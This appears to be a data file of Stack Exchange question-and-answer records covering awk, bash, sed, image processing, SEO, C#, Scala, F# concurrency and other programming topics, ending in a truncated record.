{  "id": "_unix.98318"  , "question": "I have two Input files.File1: s2/80   20      .       A       T       86      F=5;U=4s2/20   10      .       G       T       90      F=5;U=4s2/90   60      .       C       G       30      F=5;U=4File2:s2/90   60      .       G       G       97      F=5;U=4s2/80   20      .       A       A       20      F=5;U=4s2/15   11      .       A       A       22      F=5;U=4s2/90   21      .       C       C       82      F=5;U=4s2/20   10      .       G       .       99      F=5;U=4s2/80   10      .       T       G       11      F=5;U=4s2/90   60      .       G       T       55      F=5;U=4Expected Output:s2/80  20 . A   T   86  F=5;U=4  s2/80  20  . A   A   20     F=5;U=4s2/20  10 . G   T   90  F=5;U=4  s2/20  10  . G   .   99     F=5;U=4Logic:I want all the lines from File1 and File2 concatenated in the Output file: Conditions:If Column 1, 2, 4 of File1 and File2 exactly match and if Column 5 of File2 has a dot ie . or if it match exactly with Column 4 of file2.Code:I tried using the script:BEGIN{}FNR==NR{k=$1 $2a[k]=$4 $5b[k]=$0c[k]=$4d[k]=$5next}{ k=$1 $2lc=c[k]ld=d[k]# file1 file2if ((k in a) && ($4==$5) && (lc==$4)) print b[k] $0}But I get an Output of:s2/80  20 . A   T   86  F=5;U=4  s2/80  20  . A   A   20     F=5;U=4Whereas My output should be:s2/80  20 . A   T   86  F=5;U=4  s2/80  20  . A   A   20     F=5;U=4s2/20  10 . G   T   90  F=5;U=4  s2/20  10  . G   .   99     F=5;U=4I would appreciate your help. Thanks."  , "title": "Matching Five Columns in two Files using Awk"  , "tags": "sed;awk"  , "accepted_answer": "awk '    {        key = $1 SUBSEP $2 SUBSEP $4    }    # here, we are reading file1    NR == FNR {        f1_line[key] = $0         next    }    # here, we are reading file2    key in f1_line && ($5 == . || $5 == $4) {        print f1_line[key], $0    }' file1 file2outputss2/80   20      .       A       T       86      F=5;U=4 s2/80   20      .       A       A       20      F=5;U=4s2/20   10      .       G       T       90      F=5;U=4 s2/20   10      .       G       .       99      F=5;U=4"  } 
{  "id": "_computergraphics.3878"  , "question": "Alright so I'm a complete n00b at image processing so forgive me if my question sounds vague. I'll try to supplement it with what I have learnt until now and also a couple of images.See the caption in the image below?What I'm essentially trying to do, it to remove it and restore the original image in (Python using OpenCV).Now I have a couple of approaches in mind. First one I read about is a technique called Inpainting. Now I saw a tutorial on inpaiting here but this required me to create a separate mask where the non-zero pixels denote the stuff I want gone.Now what I noticed is that the caption is not fully opaque. So i was wondering if there is any possible way to restore the original image by first removing the darkened part of the strip. (essentially something very the original image with only the whitened text on it) and then create a mask of the text and then use inpaiting.Now I have a couple of questions. What technique do I use to remove the darkened part (let the text be now, we can remove it in the second step using inpainting)Does this algorithm even make sense. Is there a better approach I should be looking at?NOTE: In no way am I looking for any sort of code or specific implementation. I'm just looking for what techniques and procedures I can study up on so as to get the job done. The rest is on me"  , "title": "Removing a darkened caption with text on it in an image"  , "tags": "image processing;filtering"  } 
{  "id": "_webmaster.22837"  , "question": "Possible Duplicate:What are the best ways to increase your site's position in Google? Any google search for anything about SEO yields more articles than you can shake a stick at, but lot of the articles are out of date, many have conflicting advice and I just about none of them ever give any reasons/proof/data to back up their claims about what works and what doesn't.Has anyone done any at least somewhat scientific tests to see what works and what doesn't (and ideally why?) or has anyone from Google released any non-basic information about best practices?Really what I would love to do is A/B test different SEO techniques, but the time lag and sheer number of variables makes it very difficult.  Has anyone ever tried this type of thing? (And published their results?)"  , "title": "Is there any good authoritative source of information on SEO practices that is backed up by data?"  , "tags": "google;seo"  , "accepted_answer": "SEO is the oddest thing.  You can go by Google's recommendations that Jeff listed, but they list stuff on how to make your site not suck, they do not list stuff on how to make your site really good.The best guide I have found is by Moz called Beginners Guide To SEO. Moz is actually known for their sandbox testing of techniques, so they are as close to an expert that you will find."  } 
{  "id": "_webapps.67840"  , "question": "There are more than one billion public playlists available on Spotify. But as far as I can tell, the only way to search for them is to enter a word in the universal search field (I mostly use the desktop client for Mac), scroll down in the instant results and click the Playlists category.At that point you can scroll through a variety of resulting public playlists that include the search term in the title of the playlist. But you cannot search for song or artist or album in a playlist. And there appears to be no order to the search results (maybe it's alphabetical, but this isn't useful). Some playlists are just a single album. Others are an artist's entire body of work. You wouldn't know what is what without clicking into each and every playlist.Is there any way to sort playlists by followers, filter by date last updated, or otherwise search all public playlists to return more relevant results?(There are a few relevant questions at Stack Overflow re: this request, but I haven't yet found a service that actually implements any of these searching/sorting functionalities.)"  , "title": "How to do advanced search and sorting for public Spotify playlists?"  , "tags": "spotify;spotify playlist"  } 
{  "id": "_unix.175907"  , "question": "inside ~/mp3 I've some mp3 files.My script:#!/bin/bashbr=80for a in $1*.{wav,mp3} ; do ffmpeg -i $a -ar 44100 -ab $br $br_tmp/${a%.*} [$br].mp3 ; with $1 add the path:myscript.sh /home/$USER/mp3/but I've the error:/home/$USER/mp3/*.mp3: No such file or directoryso, the script does not run. Runs only when I execute the script inside ~mp3 dir."  , "title": "bash add path to handle some files"  , "tags": "bash"  } 
{  "id": "_webapps.76708"  , "question": "Spreadsheet is not recording responses from formI am able to see from responses appear fleetingly before they vanish. They are however indicated in summaryI have tried un-linking, re-linking, changing the destination folder, downloading it as a .CSV, nothing worksThis issue comes when you link the live form spreadsheet to other spreadsheets. I am using the arrayformula and query functions to export from a live spreadsheet.Please suggest a resolution. "  , "title": "Using a Live Google Form inputs for calculations"  , "tags": "google forms"  } 
{  "id": "_cs.35214"  , "question": "What is the price paid for the vast virtual address space provided toprogrammers for their applications? Or in other words, what is the overhead due to virtual memory?Is there any other overhead from implementing virtual memory, beyond memory consumed by the kernel?"  , "title": "What is the overhead of Virtual Memory?"  , "tags": "operating systems;virtual memory"  , "accepted_answer": "One major overhead of virtual memory is that virtual pages that are being used in the current computation have tobe loaded in physical memory, which usually means also transferringout another page back on disk. Since this is costly, you want to avoiddoing it too often. Hence an important concept is the locality ofprograms: though a program may have to use considereable space, youtry to organize the program so that only a much smaller part of memoryis used at any time, a smaller part that evolves only slowly.THis concerns the code being executed, but also the data used. Anddata is often orders of magnitude larger than the code. So, a programhandling large amounts of data will often be organized so as toimprove the locality of the data organisation in memory (but this depends also on what the code does with the data). As aconsequence, too naive a use of classical textbook algorithms may result invery slow programs, because of too many page faults.I guess there are tools to analyze the locality of programs, or tooptimize them to improve it. A specific example is the design ofgarbage collectors, which have developed various techniques to improvedata locality by reorganizing the information, and which are of coursedesign to explore the memory in a very local way, for example bylooking in priority at pages the main program has already loaded inphysical memory.Programs with bad locality spend too much time loading pages comparedto actual computing time. This is called thrashing."  } 
{  "id": "_codereview.57611"  , "question": "Edit: This was an absolute ignorance on my part which leads to hierarchical locks and can be implemented much cleaner (in fact the right way, in a mutable world) using a pipe-line of messages or Agents. Please consider studying other actor models in .NET (like the one in F#).What are drawbacks/benefits of this simple Actor model in C# (Well; it's more of a Message Loop actually, but please enlighten me)?Using this model one can turn any normal, not async class into an actor without employing threading objects. The idea is objects can be like actors and calling methods is like sending messages; and It's thread safe (yet we can shoot ourselves in foot because of mutability; but other that than, it was very helpful).Sample: Assume that I have an Id server:class IdServer{    long _count = 0;    public string Generate()    {        _count++;        return _count.ToString();    }}And I will use it as a thread safe actor (and pass it around). Here is a sample:public static Actor<IdServer> globalIdServer = new IdServer().ToActor();And in Task (Thread) 1:var id1 = (from x in globalIdServer            let newId = x.Generate()            select newId).Result();And in Task (Thread) 2:var id2 = (from x in globalIdServer            let newId = x.Generate()            select newId).Result();And we even can use multiple Actors in one statements.Actual implementation of Actor internals is:public class Actor<T>{    readonly T _process;    readonly object _lock = new object();    readonly int _timeout;    public Actor(T process) : this(process, 10000) { }    public Actor(T process, int timeout)    {        _process = process;        _timeout = timeout;    }    public U Send<U>(Func<T, U> func)    {        if (!Monitor.TryEnter(_lock, _timeout)) throw new TimeoutException();        try        {            return func(_process);        }        finally        {            Monitor.Exit(_lock);        }    }}public static class ActorFx{    public static Actor<T> ToActor<T>(this T obj) { return new Actor<T>(obj); }    public static Actor<TResult> Select<TSource, TResult>(this Actor<TSource> source, Func<TSource, TResult> selector)    {        return source.Send(selector).ToActor();    }    public static Actor<TResult> SelectMany<TSource, TResult>(this Actor<TSource> source, Func<TSource, Actor<TResult>> selector)    {        return source.Send(selector);    }    public static Actor<TResult> SelectMany<TSource, TCollection, TResult>(this Actor<TSource> source, Func<TSource, Actor<TCollection>> collectionSelector, Func<TSource, TCollection, TResult> resultSelector)    {        return resultSelector(source.Send(x => x), source.Send(collectionSelector).Send(x => x)).ToActor();    }    public static T Result<T>(this Actor<T> source) { return source.Send(x => x); }}"  , "title": "Light Weight Actors"  , "tags": "c#;actor"  , "accepted_answer": "I don't like the way you're (ab)using LINQ. Instead I would use syntax like:globalIdServer.Run(x => x.Generate())This is shorter than your approach and I think it makes it clearer what's going on.EDIT: Actually, your Send() already behaves like that. I don't see what does the LINQ syntax add.Another option would be to split the server type into interface and implementation and then use metaprogramming to create an implementation that's an actor. You could use libraries like DynamicProxy or PostSharp to do this (actually PostSharp already contains actors).With DynamicProxy, the user code could look something like:IIdServer globalIdserver = new ProxyGenerator()    .CreateInterfaceProxyWithTarget<IIdServer>(new IdServer(), new ActorInterceptor());var id = globalIdserver.Generate();Another advantage of the metaprogramming approach is that it means the implementation can't escape. With your LINQ approach (or my proposed Run()), you can easily do something like:Actor<IdServer> globalIdServer = ;IdServer escaped = globalIdServer.Result();escaped.Generate(); // not under lock!If you can use C# 5.0, consider making waiting for the lock asynchronous, so that you're not blocking a thread unnecessarily.var id1 = (from x in globalIdServer            let newId = x.Generate()            select newId).Result();There is no reason to use let here, select is enough:var id1 = (from x in globalIdServer           select x.Generate()).Result();And method syntax is probably even better:var id1 = globalIdServer.Select(x => x.Generate()).Result();public Actor(T process) : this(process, 10000) { }Why is the default timeout 10 s? Wouldn't Timeout.Infinite be a better default?public static class ActorFxThe usual convention is to call the static class that contains extension methods something like ActorExtensions."  } 
{  "id": "_codereview.90393"  , "question": "I was hoping I could get some feedback on performance of my animations overall. It could just be me but I keep getting a bit of lag despite being at 60FPS constantly.Objects on screen seem to tear a little bit.Here's my code in full.Here is my game loop://clocks and times used to get custom game loop working    sf::Clock clock;    sf::Time timeSinceLastUpdate = sf::Time::Zero;    //setting g_GameState to be intro on run    g_GameState = 0;            //main loop to run the entire length of games            //life            while (g_Window.isOpen())            {                sf::Time dt = clock.restart();                timeSinceLastUpdate += dt;                while(timeSinceLastUpdate > TIME_PER_FRAME)                {                    timeSinceLastUpdate -= TIME_PER_FRAME;                    processEvents();                    update(TIME_PER_FRAME);                }                updateFPSCounter(dt);                render();            }It's this performance issue I'd like any feedback or advice on.Also, if anyone thinks I could do collision detection better as well, could you give me any pointers? For the player paddles I use this to update their movement:  //Not using deceleration    //so setting mVelocity as 0 each time    mVelocity.x = 0;    mVelocity.y = 0;    //Handle if player keys are pressed to move up    //or down    if(mIsMovingUp){        mVelocity.y = -mSpeed;    }    else if(mIsMovingDown){        mVelocity.y = mSpeed;    }    //move the play based on current mVelocity size    this->move(mVelocity * elapsedTime.asSeconds());"  , "title": "SFML Pong Game Performance"  , "tags": "c++;performance;game;sfml"  } 
{  "id": "_softwareengineering.67442"  , "question": "As many of you know WordPress uses secret key like thing for every AJAX request. Making each request unique and also 'somewhat' secure (just a step ahead than nothing). How would I implement the same using PageMethods (webservice methods inside aspx page) in asp.net application. Some things I have already taken care of are authentication and authorization to access the page.I would like to know How to generate the same nonce/secret key whatever in C# for asp.net application?Also doesn't this affect the performance of the application like 100 thousand users use it and each time the method has to go through encryption, random number generation etc..?Is there any way I can check if posted data is what was actually posted. Checking the integrity of posted data?Do you need to follow design patterns to secure application logic? Does one exist to make your application at the least somewhat secure?"  , "title": "How to generate nonce for Ajax web requests"  , "tags": "c#;asp.net;javascript;security;ajax"  , "accepted_answer": "I would like to know How to generate the same nonce/secret key whatever in C# for asp.net application?Read up on HTTP Digest Authentication.  It's described pretty well there.http://en.wikipedia.org/wiki/Digest_access_authenticationAlso doesn't this affect the performance of the application like 100 thousand users use it and each time the method has to go through encryption, random number generation etc..?Hardly.  Remember: the connection to the user's desktop is the bottleneck.  Checking a nonce is generally trivial, since it's a simple hex digest of data already available.Is there any way I can check if posted data is what was actually posted. Checking the integrity of posted data?Read up on Cross Site Request Forgery (CSRF).http://en.wikipedia.org/wiki/Cross-site_request_forgeryDo you need to follow design patterns to secure application logic? Yes.Does one exist to make your application at the least somewhat secure?Not One.  Lots and lots.  There is no somewhat secure.  There's secure and there's broken.Start with the OWASP top-ten list and read up on the vulnerabilities.https://www.owasp.org/index.php/Category:OWASP_Top_Ten_ProjectThen, find a framework that does this for you and use the framework.Don't build your own.  It's already been done for you.  Just pick a framework that does it.Why security is binary.  perfect security is an oxymoron -- it only exists where there is no information exchanged.Security doesn't mean perfect.  It means as good as present technology permits under the circumstances that we've agreed to share information, and I have to assume you're not lying.  If you want somewhat secure, then you are implementing somewhat insecure.  If you're going to implement somewhat insecure, you must actually choose the specific kind of insecurity you are going to implement.  Generally, you will must either give private information away, allow information to be adulterated or allow a denial of service attack.  Pick some combination of things you are going to implement in a somewhat secure application.Try to avoid choosing the give away the root password insecurity if you can.  Usually, that is isomorphic to as secure as possible."  } 
{  "id": "_unix.233933"  , "question": "I was running a for loop in terminal which has a sox command in it. For some reason the sox command failed and now I cannot terminate the for loop. I tried pressing Ctrl+c many times, Ctrl+z many times but no use.I can't get the prompt, terminal just stays like that. There is no sox process running in the background as per ps aux How to deal with this case, I don't want to close the tab but fix the problem by some other means.user$for spkr in /home/user/tmp/*; do  filesIn1Line=tr '\\n' ' ' < $spkr; sox $filesIn1Line en_$spkr.wav; echo $spkr; donesox FAIL formats: can't open output file `en_/home/user/file1.wav': No such file or directory  ^C^C^C^C^Z^Z^Z^Z^Z^Z^Z^C^C^C^C^C^C^C^C^C^C^C^C^Z^Z^X^X^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^"  , "title": "Cannot terminate for loop in terminal"  , "tags": "terminal;process;gnome terminal;for"  } 
{  "id": "_unix.366184"  , "question": "I have a problem with my following script (this is the relevant part of it):#!/bin/bashOLD=(_MAIN1__MAIN2_)NEW=(#111#222)length=${#OLD[*]}i=0while (( i < length ))do  sed -e s/${OLD[$i]}/${NEW[$i]}/g oldfile.txt > newfile.txt  #sed -e 's/_MAIN1_/#111/g' oldfile.txt > newfile.txt  # this works  # Another way that does not work  #sed -e 's/'${OLD[$i]}'/'${NEW[$i]}'/g' oldfile.txt > newfile.txt  ((i++))doneexit 0My goal is to replace strings in a file and save it into a new one. The old and new strings are stored in an array.I tried a lot of things and played around with single and double quotes - but nothing worked.When I echo the variables I get the correct strings inside the loop. If explicit two strings are set in sed command it works fine for this.The string patterns follow those in my example arrays ('new' contains the underscore _ and 'old' contains the hashtag #).I'm running bash on a Ubuntu 16.04 box.Thank you very much! "  , "title": "Bash while loop search and replace using sed"  , "tags": "shell script;sed;array"  , "accepted_answer": "Create a sed script that does all the substitutions, and then apply that sed script to your file.for (( i=0; i<${#OLD[@]}; ++i )); do        printf 's/%s/%s/g\\n' ${OLD[$i]} ${NEW[$i]}done >script.sedsed -f script.sed inputfile >outputfile && mv outptufile inputfile && rm script.sedThis way you limit the number of times that you need to parse the input file to one.For the given data in OLD and NEW the sed script will be generated ass/_MAIN1_/#111/gs/_MAIN2_/#222/g"  } 
{  "id": "_datascience.19451"  , "question": "I have two datasets:Both have the same:Same predictor variables (ordinal, interval, ratio) (7 features in total)Based on these predictor variables Group 1 (students) scored 200 products(by 200 students(each student only scored one product)).Based on these predictor variables Group 2 (colleagues) scored 75 products(by 75 colleagues(each colleague only scored one product)).In total 275 products are scored (by 200 students and 75 colleagues).However the target is different:Dataset 1: target bad or good (binary) (students)Dataset 2: 1 till 7 From one till 7 (1 is very bad 7 is very good) (colleagues)Dataset 1 has 200 rows Dataset 2 has 75 rows.How can I identify the differences (and also their similarities) between the students and my colleagues and the way they rated the products(all 275 participants have rated different products (275 products in total))? "  , "title": "compare the differences with different output"  , "tags": "machine learning;statistics"  } 
{  "id": "_webapps.94698"  , "question": "In a Google Spreadsheet, I have a column with values like T1, T2, T13 (i.e. all values starting with the same text prefix). I would like to use a formula on the numerical part of the values of these cells (for conditional formatting). Can I somehow apply it only to the numeric part of the value, i.e. 1, 2, 13? I would like to change the background colour for the cell containing the maximum numeric part of the value?I know how to extract the numeric part. E.g., if the T-values are in column A, cell B3 can contain this equation:=if(len(A3)>1,value(right(A3, len(A3)-1)),0)However I fail to apply any further formula to this. E.g. this doesn't work:=max(if(len(A2:A)>1,value(right(A2:A, len(A2:A)-1)),0))"  , "title": "Apply formula to a numeric part of cell value"  , "tags": "google spreadsheets"  , "accepted_answer": "Following hints in the answer by Aurielle, I've been able to produce a shorter formula:=(A2:A)=text(max(arrayformula(value(substitute(A2:A,T,)))), T#)It assumes that the first row is occupied by table caption.Break down:substitute(text,T,) removes letter T from a cell text text.value() converts the text result of substitute to a number.arrayformula() applies value(substitute()) to each value from A2, A3, etc. range. The result is a numeric array.max() returns the maximum value of that array.text(number, T#) converts the found maximum value to a string prefixed with letter T. T# is the format string, meaning letter T, then number.Finally, A2:A=... compares the values from A2, A3, etc. to the formed string. For the cells matching T+maximum value, the comparison will return TRUE, and conditional formatting will be applied.  "  } 
{  "id": "_softwareengineering.45699"  , "question": "There've been many discussions on SO about the differences between (Rational) Unified Process and the Agile methodology. Can someone please give me an example on how different a project plan would be if there are 2 teams doing the same project, but following these 2 different methods? "  , "title": "Differences between a Unified Process and an Agile project plan?"  , "tags": "project management;agile;rational unified process"  , "accepted_answer": "I'm going to use Scrum as a concrete agile example. Scrum has three artifacts: the Product Backlog, the Sprint Backlog, and a Burndown Chart. A backlog is simply a prioritized list of things to do. The chart is for plotting your progress through the current sprint (iteration). These three tools are what you use to track and plan your project in Scrum and that is is your Scrum project plan.RUP, on the other hand, contains a very long list of documents and artifacts for planning the project. As an example, there is the Iteration Plan, a detailed list of activities and tasks, with assigned resources and task dependencies. This document can perhaps be compared to the sprint backlog in Scrum, but that's stretching it.So the major difference between these approaces is the amount of stuff (roles, artifacts, activities) they prescribe. And as you see from the image, the difference is huge:"  } 
{  "id": "_unix.336590"  , "question": "I am using Laravel Homestead VM via Vagrant.I run Vagrant byvagrant rsync-auto --pollAt each file changed, it only prints  ==> homestead-7: Rsyncing folder    Exclude: [ ...]However I would like Rsync to print timestamp of the last update (file changed) + which files were updated.I am aware rsync set up is defined in .homestead/Homestead.yaml.I have looked into the docs on vagrant website but couldn't find a proper solution.Homestead.yaml...folders:    - map: ~/__work/__homestead/Code      to: /home/vagrant/Code/      type: rsync      options:          rsync__args: [--verbose, --archive, --delete, -zz]          rsync__exclude: [node_modules]..."  , "title": "How to print vagrant's rsync timestamp and files changed?"  , "tags": "rsync;vagrant"  } 
{  "id": "_webmaster.43378"  , "question": "Nine days ago, I got a message Google Webmaster Tools:Over the last 24 hours, Googlebot encountered 1 errors while attempting to access your robots.txt.Well, but I don't have a robots.txt on that site, because robots.txt is optional and I want the whole site to be crawled. So why do I get this error message?Perhaps of interest: The Google Webmaster tools home page lists www.realitybuilder.com and realitybuilder.com. I don't know how that happened, but realitybuilder.com redirects to www.realitybuilder.com, so it should not be necessary to have it listed. I now deleted the entry for realitybuilder.com. Could that have caused the problem?"  , "title": "Google Webmaster Tools complains about missing robots.txt"  , "tags": "google search console;robots.txt;googlebot"  } 
{  "id": "_softwareengineering.168047"  , "question": "This is my first post here in programmers.stackexchange (I'm a regular on SO).  I hope this isn't too general.I'm trying a simple project to learn Java from something I've seen done in the past. Basically, it's an AI simulation where there are herbivorous and carnivorous creatures and both must try to survive.  The part I am trying to come up with is that of the board itself. Let's assume very simple rules.  The board must be of size X by Y and only one element can be in one place at one time.  For example, a critter cannot be in the same tile as a food block. There can be obstacles (rocks, trees..), there can be food, there can be critters of any type.  Assuming these rules, what would be one good way to represent this situation ?This is what I came up with and want suggestions if possible:Use multiple levels of inheritance to represent all the different possible objects (AbstractObject -> (NonMovingObject -> (Food, Obstacle) , MovingObject -> Critter -> (Carnivorous, Herbivorous))) and use polymorphism in a 2D array to store the instances and still have access to lower level methods.Many thanks.Edit: Here is the graphic representation of the structure I have in mind."  , "title": "2D grid with multiple types of objects"  , "tags": "java;data structures"  } 
{  "id": "_softwareengineering.42079"  , "question": "I recently observed some contract offers which included a code review by third party clause - the contract would not pay out fully until the code review was completed and it received a pass.I was surprised, especially considering that these were fairly simple, and small-scale contracts (churning out vanity apps for the iPhone). Is this kind of third-party code review a common thing to run into when contracting out as a programmer?"  , "title": "Is it common practice to hire third parties to do code reviews for contractors?"  , "tags": "freelancing;code reviews;industry;industry standard"  , "accepted_answer": "It depends what you agreed to provide.If you provide an outcome, then it is perfectly normal. By cons, if you provide means (typical case), it is not acceptable.The company that use that clause may have been is some difficult situations where she had invested some money in a developer that produced very bad code.My opinion is that they are responsible for not doing proper code reviews early and/or proper tests during the hiring process.Therefore, if you should refuse a such clause in the case you provide your time, rather than results that are implicitly linked to your work (but not guaranteed)."  } 
{  "id": "_codereview.19447"  , "question": "I wrote a function in Scala to find out and return a loopy path in a directed graph.One of the arguments is a graph presented in an adjacent list, and the other is a start node. It returns a pair including a loopy path by a list of nodes.I wonder if there are more elegant ways of doing this.  def GetACycle(start: String, maps: Map[String, List[String]]): (Boolean, List[String]) = {    def explore(node: String, visits: List[String]): (Boolean, List[String]) = {      if (visits.contains(node)) (true, (visits.+:(node)).reverse)      else {        if (maps(node).isEmpty) (false, List())        else {          val id = maps(node).indexWhere(x => explore(x, visits.+:(node))._1)          if (id.!=(-1))            explore(maps(node)(id), visits.+:(node))          else            (false, List())        }      }    }    explore(start, List())  }I felt I had to use the indexWhere in this situation, but I suppose it would have other ways to do that."  , "title": "Finding and returning a loopy path in a directed graph"  , "tags": "algorithm;scala;graph"  , "accepted_answer": "You should use an array to check if you have already visited a node and not visits.contains(node), it would give you the answer in constant time instead of linear time.The overall complexity of your algorithm is exponential. For instance, if you run your algorithm on this graph:0 -> 1, 2, ..., n1 -> 2, ..., n...where there are n nodes and there are edges from i to j iff i<j then the node i will be explored 2^i times.Again you can solve this problem using an array (one array for all nodes) to ensure that each node is explored at most one time."  } 
{  "id": "_unix.373"  , "question": "In KDE SC 4.5.0 it's possible to use a WebKit part for rendering in Konqueror. I don't think it's on by default (I could be wrong) and I believe I've installed all the requirements for it... How do I enable it?I figured out how to switch it... View -> View mode -> webkitBut you must be on a web page first. Problem is that this setting doesn't stick. I can't find a permanent setting. Does one exist?"  , "title": "Enable kwebkitpart in Konqueror"  , "tags": "arch linux;kde;settings;konqueror"  , "accepted_answer": "I just found an article posting how to do it for kubuntu.The short of it is configure the file association for text/html (embedding) and set the first as webkit. I'm sure you should do it for application+xml/xhtml too. Maybe some others."  } 
{  "id": "_softwareengineering.103123"  , "question": "I am looking to query the main Google search however all references including stackoveflow point to the Google AJAX Search API.The odd thing is that it does not seem to exist any more not even a note to say it is depreciated? The old links point to main Google code site. If I look at the list of API's on that site the API it replaced is there  Web Search API (Deprecated) which links back to same page but not the Google AJAX Search API.Further Google searching is not being helpful either, many blog posts pointing to the same Google site (http://code.google.com/apis/ajaxsearch/) that has no content and redirects to the same place?Just to prove it did exist I have found it on the way back machine however the last snapshot did not show any special unusual message."  , "title": "What ever happened to the Google AJAX Search API"  , "tags": "api;google"  , "accepted_answer": "The Google AJAX Search API was deprecated on Nov 1, 2010, in favour of the Custom Search API.The AJAX Search APIs contained Web, News and Local search among others, but when people referred to the AJAX Search, they typically meant Web search.You can read some idle speculation on why they retired the AJAX search on the official Google AJAX APIs Group, but it seems to be mostly due to abuse:https://groups.google.com/forum/#!msg/google-ajax-search-api/79wPelmXxKE/qM5TLOLxnsshttp://googleajaxsearchapi.blogspot.com/2010/03/helping-you-help-us-help-you.html (d'oh! posted a day early!)According to Google's deprecation policy, the web search API should continue to work until Nov 2013. The web search API is now confirmed to be no longer available as of September 29, 2014.Here's the timeline, as best as I can reconstruct it:June 2006: AJAX Search API v0.1 releasedOctober 2006: AJAX Search API v1 releasedDecember 2006: SOAP Search API deprecatedMarch 2009: AJAX Search API graduates from LabsAugust 2009: SOAP API retiredNovember 2010: AJAX Search API deprecatedNovember 2010: Custom Search API introducedNovember 2013: AJAX Search API access terminated?"  } 
{  "id": "_codereview.172776"  , "question": "I was watching the following video about software transactional memory(using a package that maintains an access log). At the moment I am trying to learn about concurrency with shared memory and thought that could be more easily achieved with immutability and checking referential equality.Never spent much time actually writing code (write mostly front end JavaScript/TypeScript/Fable) but understood the idea:A function gets an object and takes out what it is going to change (receives an object called data and takes out contents). Before changing the object (data) the function checks if the current sub object (contents) still has the same referential equality as the sub object had when the function started.If so; then value can be set, if not then the function needs to fail or retry since another process has changed it while the function was executing.Both checking referential equality and setting value should run synchronized (only one thread can write to the object at the same time).Here is some example of that but I'm not sure this is done correctly and how to properly test it.type 'a Ref = { mutable contents : 'a }type Data = {id:int}let ref v = { contents = v }let (!) r = r.contentslet monitor = System.Object()let (:=) r v = r.contents <- vlet isSameObject =   LanguagePrimitives.PhysicalEqualitytype System.Random with    member this.GetValues(minValue, maxValue) =        Seq.initInfinite           (fun _ ->             this.Next(minValue, maxValue))let setValue data org newValue =    if (isSameObject !data org) then      lock monitor (        fun () ->           data := {id=newValue}      )      true    else      falselet r = System.Random()let test min max data =  let vals =    r.GetValues(min, max)       |> Seq.take 10000      |> Seq.map(        fun item ->         (          async{            let value = !data            do! Async.Sleep item            let ret =               (setValue data value item)            if ret then              printfn                 changed from %d to %d                value.id                (!data).id            return ret          }        )      )      |> Async.Parallel      |> Async.RunSynchronously       |> Seq.fold (          fun acc item ->            let (a,b) = acc            if item then              ((a+1),b)            else              acc      ) (0,false)  valstest 10 1000 (ref {id=88888888})If this is correct I would like to spend more time trying to figure out how to do an atomic transaction when taking multiple sub objects out of the data without causing a deadlock or updating one while failing the other.[update]When refactoring the code to update multiple objects it revealed the advantages of the method mentioned in the video:Using an abstraction is probably better than writing your own methodthat works for your particular use case. When the use case changesyou may have to deal with maintaining complex code. Like usingJQuery to update dom elements as opposed to using React,Vue, riotjs.The best I could come up with when updating multiple objects is tolock the entire hash table(dictionary). This is more like thesecond attempt in the video except it has no dead locking risks and  has concurrent reads. Writes are not parallel butserial. Having a log on what objects are opened seems to be the onlyway to achieve parallel writing. Although I would think the log hasserial access to prevent concurrency problems.As for testing the code; how does one test this? You can hammer the data with updates and see if the result was correct or you can test it serially as with the tests below. Having one thread wait for another to change the object is for all intents and purposes just the same as a serial test.I would love to see someone show a test that would fail due to the complexity that multiple threads sharing data bring to the table other than just hammering it with updates as done in my first example or having serial tests as with my second example.Here is the code I came up with for multiple updates.type 'a Ref = { mutable contents : 'a }type Data = {id:int}let ref v = { contents = v }let (!) r = r.contentslet monitor = System.Object()let (:=) r v = r.contents <- vlet isSameObject =   LanguagePrimitives.PhysicalEqualitytype System.Collections.Generic.Dictionary<'K, 'V> with  member x.TryFind(key) =    match x.TryGetValue(key) with    | true, v -> Some v    | _ -> Nonelet compare pairs =  pairs  |> List.fold (    fun (same,datas) (data,org)->      if same then        if (isSameObject !data org) then          match datas with            | Some d -> true, (Some (data::d))            | None -> false, None         else          false,None      else        false,None  ) (true,(Some []))let setValue pairs =  lock monitor (    fun () ->       let compareArgs =        pairs        |> List.map(          fun (data,org,_,_) ->            data,org        )      let isSame, data = compare compareArgs      if isSame then        pairs        |> List.fold(          fun acc (data,org,newValue,setValueFunction) ->            setValueFunction newValue data            true        ) true      else        false  ) (*  tests*)let liftSome item apply =  match item with  | Some value -> Some (apply value)  | None _ -> Nonelet unwrap item =   match item with  | Some value -> value  | None _ -> ref {id=0}let createStore () =  let store =     System.Collections.Generic.Dictionary<int, Data Ref> ()   [1..100]  |> List.map(      fun number ->        store.Add(number, (ref {id=number}))  ) |> ignore  storelet hasCorrectValue (index,result) (data,_,_,_) =  if result then    if (!data).id = (index) then      (index+1),true    else      0,false  else    0,falselet ``Set all values`` () =  let store = createStore ()  let setValueArgument =    [1..100] 